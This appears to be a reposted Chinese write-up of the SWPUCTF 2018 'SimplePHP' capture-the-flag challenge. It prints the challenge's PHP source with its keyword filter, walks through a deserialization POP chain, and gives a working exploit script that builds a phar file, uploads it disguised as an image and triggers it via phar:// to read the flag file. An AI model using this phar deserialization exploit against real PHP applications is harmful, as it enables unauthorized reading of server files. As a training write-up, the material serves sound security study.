[SWPUCTF 2018]SimplePHP 1

Posted joker-yan

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[SWPUCTF 2018]SimplePHP 1相关的知识,希望对你有一定的参考价值。

文章目录

一、获取源码

开局三个页面,但是在“查看文件”部分发现网页在通过GET方式读取页面源码

试着读取“index.php

http://bbe726aa-c930-42b2-b1bc-e877e7cc731f.node4.buuoj.cn/file.php?file=index.php

同理,发现了新的PHP文件继续读取文件源码

 总计6个页面:“function.php”  "index.php"  "base.php"  "class.php"  "upload_file.php"  "file.php" 

//class.php
<?php
class C1e4r

    public $test;
    public $str;
    public function __construct($name)
    
        $this->str = $name;
    
    public function __destruct()
    
        $this->test = $this->str;
        echo $this->test;
    


class Show

    public $source; 
    public $str;
    public function __construct($file)
    
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    
    public function __toString()
    
        $content = $this->str['str']->source;  //$this->str['str']
        return $content;   //直接返回了$this->str['str']->source作为字符串变量
    
    public function __set($key,$value)
    
        $this->$key = $value;
    
    public function _show()
    
        if(preg_match('/http|https|file:|gopher|dict|\\.\\.|f1ag/i',$this->source)) 
            die('hacker!');
         else 
            highlight_file($this->source);
        
        
    
    public function __wakeup()
    
        if(preg_match("/http|https|file:|gopher|dict|\\.\\./i", $this->source)) 
            echo "hacker~";
            $this->source = "index.php";
        
    

class Test

    public $file;
    public $params;
    public function __construct()
    
        $this->params = array();
    
    public function __get($key) //这个是关键接口
    
        return $this->get($key);
    
    public function get($key)  //目的是使$value=flag.php
    
        if(isset($this->params[$key]))   //所以要$this->params[$key]=flag.php  
            $value = $this->params[$key];
         else 
            $value = "index.php";
        
        return $this->file_get($value);
    
    public function file_get($value)
    
        $text = base64_encode(file_get_contents($value));
        return $text;
    

?>
//function.php

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 

function upload_file()  //原来这里才是万恶之源
    global $_FILES; 
    if(upload_file_check())  
        upload_file_do(); 
     
 
function upload_file_check()  
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); //指向数组元素中的最后一个
    if(empty($extension))  
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
     
    else 
        if(in_array($extension,$allowed_types))  
            return true; 
         
        else  
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
         
     
 
function upload_file_do()  
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename))  
        unlink($filename); 
     
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
 
?> 
//index.php
<?php 
header("content-type:text/html;charset=utf-8");  
include 'base.php';

?> 
//base.php
<?php 
    session_start(); 
?> 
<!DOCTYPE html> 
<html> 
<head> 
    <meta charset="utf-8"> 
    <title>web3</title> 
    <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css"> 
    <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script> 
    <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script> 
</head> 
<body> 
    <nav class="navbar navbar-default" role="navigation"> 
        <div class="container-fluid"> 
        <div class="navbar-header"> 
            <a class="navbar-brand" href="index.php">首页</a> 
        </div> 
            <ul class="nav navbar-nav navbra-toggle"> 
                <li class="active"><a href="file.php?file=">查看文件</a></li> 
                <li><a href="upload_file.php">上传文件</a></li> 
            </ul> 
            <ul class="nav navbar-nav navbar-right"> 
                <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li> 
            </ul> 
        </div> 
    </nav> 
</body> 
</html> 
<!--flag is in f1ag.php-->
//upload_file.php
<?php 
include 'function.php'; 
upload_file(); 
 ?>
<html> 
<head 
meta charest=utf-8 
title文件上传title 
head 
body 
div align = center 
        h1前端写得很low,请各位师傅见谅!h1 
div 
style 
    p margin0 auto 
style 
div 
form action=upload_file.php method=post enctype=multipartform-data 
    label for=file文件名label 
    input type=file name=file id=filebr 
    input type=submit name=submit value=提交 
div 

script 
body >
<html>

二、分析pop链

分析“文件流向”

获取源码后,对我们上传的文件路径执行的顺序分析一下,先经过“upload_file.php”然后直接进入“function.php”的upload_file(),upload_file_check()、upload_file_do()函数分别进行“过滤关键词”、“预处理”。最后将文件保存在“upload/”目录下。

分析“POP链”

我的思路是“倒叙”方式,即先从最后要执行的函数开始倒推,发现当执行当前步骤时的前一步需要准备哪些条件,从而形成完整的POP链。

首先,很明显发现了文件读取函数

然后依次是

 到这里就遇到了需要考虑的第一个魔术方法“_get()”

这个魔术方法详解我放在本地“原理”上了,其他人可以参考这位大佬的博客:https://blog.csdn.net/weixin_42113474/article/details/108894764

 那么需要考虑的文件就是如何去访问一个Test类中不存在的“外部变量”了(因为这里都没有私有变量)而且这种POP链问题肯定是套娃类型,就是说其他类的变量肯定是其中的某一个类。

发现了一个经典的组合类型:$a=b->c,这种类型是很明显的、可以使用的套娃组合,就可以令b是某一个类,c是这个类的(或者不是这个类的)一个变量,当c不是这个类的变量时,就会触发魔术方法“_get()”

所以第一个魔术方法的关键部分在这里(第二个魔术方法'_toString()'):

当$this->str['str']是类Test()时,由于source不是Test的变量,所以会触发Test()内部的_get()方法,并将_get()方法的返回值赋值给这里的$content

还需要注意的是,魔术方法_get() 是有形参的,而上面所使用到的实参就是那个外部变量“source”

所以得出第一个结论,Show()->str['str']=Test()

第二个结论也很简单,Test->param['source']='f1ag.php'

通过上图就可以发现需要预设值给Test()->params['source']

第二个结论的“f1ag.php”是来自题目自带的提示的,可以在base.php的源码中找到

下一步,解决第二个魔术方法“_toString()”

这个魔术方法触发条件是类被当做字符串处理的时候。

所以很明显,还有一个类C1e4r()

而且通过第三个魔术方法“_destruct()”还可以自动执行我们的反序列化过程,真是“美滋滋啊~”

这里的echo $this->test; 

只要将$this->test当成类Show(),魔术方法“_toString()”会触发 

哟西!

全部搞定,后续就是使用phar://读取文件就可以反序列化我们的POP链了

附上EXP

<?php
class C1e4r

    public $test;
    public $str;


class Show

    public $source;
    public $str;

class Test

    public $file;
    public $params;



$a = new C1e4r();
$b = new Show();
$c = new Test();
$c->params['source'] = "f1ag.php";  //读取文件
$a->str = $b;   //利用了魔术方法__tostring
$b->str['str'] = $c;  //因为触发了_toString()后,就会由于访问$this->str['str']->source而触发__get;


$phar = new Phar("exp.phar"); //生成phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($a); //触发头是C1e4r类
$phar->addFromString("exp.txt", "test"); //生成签名
$phar->stopBuffering();

本地执行这个PHP文件后会生成“exp.php”

然后就是简单的抓包上传了

 记得要修改一下文件的后缀名再发包。

显示上传成功就可以去读取文件了

访问:http://bbe726aa-c930-42b2-b1bc-e877e7cc731f.node4.buuoj.cn/upload/

 记住我们的文件名,最后就是读取内容了

回到file.php中

修改URL为以下内容:

http://bbe726aa-c930-42b2-b1bc-e877e7cc731f.node4.buuoj.cn/file.php?file=phar://upload/4ac9f571f2b3769dc23c63f752667399.jpg

 

最后直接base64解码一下就可以了


总结

感觉暑假有点摸鱼了~要加把劲啊

以上是关于[SWPUCTF 2018]SimplePHP 1的主要内容,如果未能解决你的问题,请参考以下文章

[SWPUCTF 2018]SimplePHP 1

BUUCTF (11_22-11_26)

SWPUCTF 2022新生赛 web部分wp

SWPUCTF 2019总结以及部分WP

BUU-SWPUCTF_2019_login

Reverse入门[不断记录]